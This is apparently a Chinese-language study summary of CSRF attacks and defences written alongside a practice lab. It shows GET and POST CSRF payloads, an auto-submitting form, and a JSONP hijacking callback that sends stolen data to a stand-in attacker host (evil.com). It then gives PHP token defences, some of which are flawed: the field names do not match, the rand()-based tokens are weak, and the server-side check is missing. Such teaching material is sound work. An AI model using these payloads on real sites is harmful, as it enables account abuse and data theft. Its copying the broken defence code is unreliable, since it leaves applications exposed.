Web安全之CSRF漏洞整理總結

這兩天整理和編寫了csrf的靶場，順便也復習了以前學習csrf的點，這里記錄下學習的總結點。

 

---

0x01 關於CSRF 跨站請求偽造

CSRF（Cross-site request forgery）跨站請求偽造：攻擊者誘導受害者進入第三方網站，在第三方網站中，向被攻擊網站發送跨站請求。利用受害者在被攻擊網站已經獲取的注冊憑證，繞過后台的用戶驗證，達到冒充用戶對被攻擊的網站執行某項操作的目的。

一個典型的CSRF攻擊有着如下的流程：

*受害者登錄a.com，並保留了登錄憑證（Cookie）。

*攻擊者引誘受害者訪問了b.com。

*b.com 向 a.com 發送了一個請求：a.com/act=xx。瀏覽器會默認攜帶a.com的Cookie。

*a.com接收到請求后，對請求進行驗證，並確認是受害者的憑證，誤以為是受害者自己發送的請求。

*a.com以受害者的名義執行了act=xx。

*攻擊完成，攻擊者在受害者不知情的情況下，冒充受害者，讓a.com執行了自己定義的操作。

 

0x02 常見CSRF攻擊場景

GET 類型CSRF

 

<img src=http://xxx.org/csrf.php?xx=1 />
訪問頁面后就成功向http://xxx.org/csrf.php 發送了一次請求
<link href="…">
<iframe src="…">
<meta http-equiv="refresh" content="0; url=…">
<script src="…">
<video src="…">
<audio src="…">
<a href="…">
<table background="…">

POST類型的CSRF

使用一個自動提交的表單

<form action=http://woyun.org/csrf.php method=POST>
<input type="text" name='xx' value='11' />
</form>
<script>document.forms[0].submit();</script>

模擬用戶完成了一次POST操作
也可以用JS動態生成

<script>
      new Image().src = 'http://192.168.0.100/joomla';
</script>

JSON劫持攻擊

web開發中常用的一種跨域獲取的方法 JSONP
JSON with Padding 由於Javascript受同源策略的限制不能跨域讀取
只能進行GET請求
前端html代碼：

<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
function jsonpCallback(result) {
alert(result.a); 
alert(result.b); 
alert(result.c); for(var i in result)
{ alert(i+":"+result[i]);//循環輸出a:1,b:2,etc. } } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>

后端的php代碼：

<?php 
//服務端返回JSON數據 
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5); 
$result=json_encode($arr); 
//echo $_GET['callback'].'("Hello,World!")'; 
//echo $_GET['callback']."($result)";
//動態執行回調函數 
$callback=$_GET['callback']; 
echo $callback."($result)";
?>

可以看到，前端先是定義了jsonpCallback函數來處理后端返回的JSON數據，然后利用script標簽的src屬性跨域獲取數據（前面說到帶src屬性的html標簽都可以跨域），並且把剛才定義的回調函數的名稱傳遞給了后端，於是后端構造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函數調用過程返回到前端執行，達到了跨域獲取數據的目的。

一句話描述JSONP：前端定義函數卻在后端完成調用然后回到前端執行！

攻擊者可以在頁面中構造自己的回調函數，然后把獲取的數據都發到自己的服務器上

<script type="text/javascript"> 
    function hijack(result) { 
        var data = '';
        for(var i in result) {
            data += i + ':' + result[i];
                            }
new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把數據發送到攻擊者服務器上
                            } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>

 CSRF蠕蟲

在CSRF的攻擊頁面上嵌入蠕蟲傳播的攻擊向量，蠕蟲傳播要面向不同的用戶生成不同的請求。之前的攻擊可預測所有的參數，現在必須想辦法標識不同用戶的數據。
1，服務端腳本獲取
准備一個php，asp頁面，可以檢測Referer字段讀取url中的用戶id等。
2，JSON劫持
如果網站提供了這樣的數據接口，可以用來獲取敏感信息

 flash CSRF

網站的根目錄下有一個文件crossdomain.xml

<cross-domain-policy>
<allow-access-from domain="*.baidu.com" secure='true'/>
<allow-http-request-headers-from domain="*.baidu.com" headers='*'/>

secure='true' 表示只能通過安全連接請求
表示哪些域的flash請求可以讀寫本域的資源，同樣可以讀取token數據發送請求。

0x03 CSRF攻擊防御策略

CSRF的防御可以從服務端和客戶端兩方面着手

1.服務端進行CSRF防御　

　服務端的CSRF方式方法很多樣，但總的思想都是一致的，就是在客戶端頁面增加偽隨機數。

　　(1).Cookie Hashing(所有表單都包含同一個偽隨機值)：
　　這可能是最簡單的解決方案了，因為攻擊者不能獲得第三方的Cookie(理論上)，所以表單中的數據也就構造失敗了:>

<?php
　　　　//構造加密的Cookie信息
　　　　$value = “DefenseSCRF”;
　　　　setcookie(”cookie”, $value, time()+3600);
　　?>

在表單里增加Hash值，以認證這確實是用戶發送的請求。

<?php
　　$hash = md5($_COOKIE['cookie']);
?>
<form method=”POST” action=”transfer.php”>
　　<input type=”text” name=”toBankId”>
　　<input type=”text” name=”money”>
　　<input type=”hidden” name=”hash” value=”<?=$hash;?>”>
　　<input type=”submit” name=”submit” value=”Submit”>
</form>

然后在服務器端進行Hash值驗證

<?php
　　      if(isset($_POST['check'])) {
     　　      $hash = md5($_COOKIE['cookie']);
          　　 if($_POST['check'] == $hash) {
               　　 doJob();
　　           } else {
　　　　　　　　//...
          　　 }
　　      } else {
　　　　　　//...
　　      }
      ?>

(2).驗證碼
　　這個方案的思路是：每次的用戶提交都需要用戶在表單中填寫一個圖片上的隨機字符串，厄….這個方案可以完全解決CSRF，但個人覺得在易用性方面似乎不是太好，還有聽聞是驗證碼圖片的使用涉及了一個被稱為MHTML的Bug，可能在某些版本的微軟IE中受影響。

(3).One-Time Tokens(不同的表單包含一個不同的偽隨機值)
　　在實現One-Time Tokens時，需要注意一點：就是“並行會話的兼容”。如果用戶在一個站點上同時打開了兩個不同的表單，CSRF保護措施不應該影響到他對任何表單的提交。考慮一下如果每次表單被裝入時站點生成一個偽隨機值來覆蓋以前的偽隨機值將會發生什么情況：用戶只能成功地提交他最后打開的表單，因為所有其他的表單都含有非法的偽隨機值。必須小心操作以確保CSRF保護措施不會影響選項卡式的瀏覽或者利用多個瀏覽器窗口瀏覽一個站點。

<?php
   function gen_token() {
　　//這里我是貪方便，實際上單使用Rand()得出的隨機數作為令牌，也是不安全的。
　　//這個可以參考我寫的Findbugs筆記中的《Random object created and used only once》
        $token = md5(uniqid(rand(), true));
        return $token;
   }
 
2).然后是Session令牌生成函數(gen_stoken())：
 
   <?php
   　　function gen_stoken() {
　　　　$pToken = "";
　　　　if($_SESSION[STOKEN_NAME]  == $pToken){
　　　　　　//沒有值，賦新值
　　　　　　$_SESSION[STOKEN_NAME] = gen_token();
　　　　}   
　　　　else{
　　　　　　//繼續使用舊的值
　　　　}
   　　}
   ?>

2).WEB表單生成隱藏輸入域的函數：　

<?php
　　     function gen_input() {
     　　     gen_stoken();
　　          echo “<input type=\”hidden\” name=\”" . FTOKEN_NAME . “\”
          　　     value=\”" . $_SESSION[STOKEN_NAME] . “\”> “;
     　　}
     ?>

3).WEB表單結構：

<?php
       session_start();
       include(”functions.php”);
  ?>
  <form method=”POST” action=”transfer.php”>
       <input type=”text” name=”toBankId”>
       <input type=”text” name=”money”>
       <? gen_input(); ?>
       <input type=”submit” name=”submit” value=”Submit”>
  </FORM>

4).服務端核對令牌：

2.客戶端驗證

進行前端語言js進行二次確認驗證。

 

參考鏈接:

https://www.cnblogs.com/aq-ry/p/9446552.html

https://www.freebuf.com/column/155800.html

https://www.freebuf.com/column/151816.html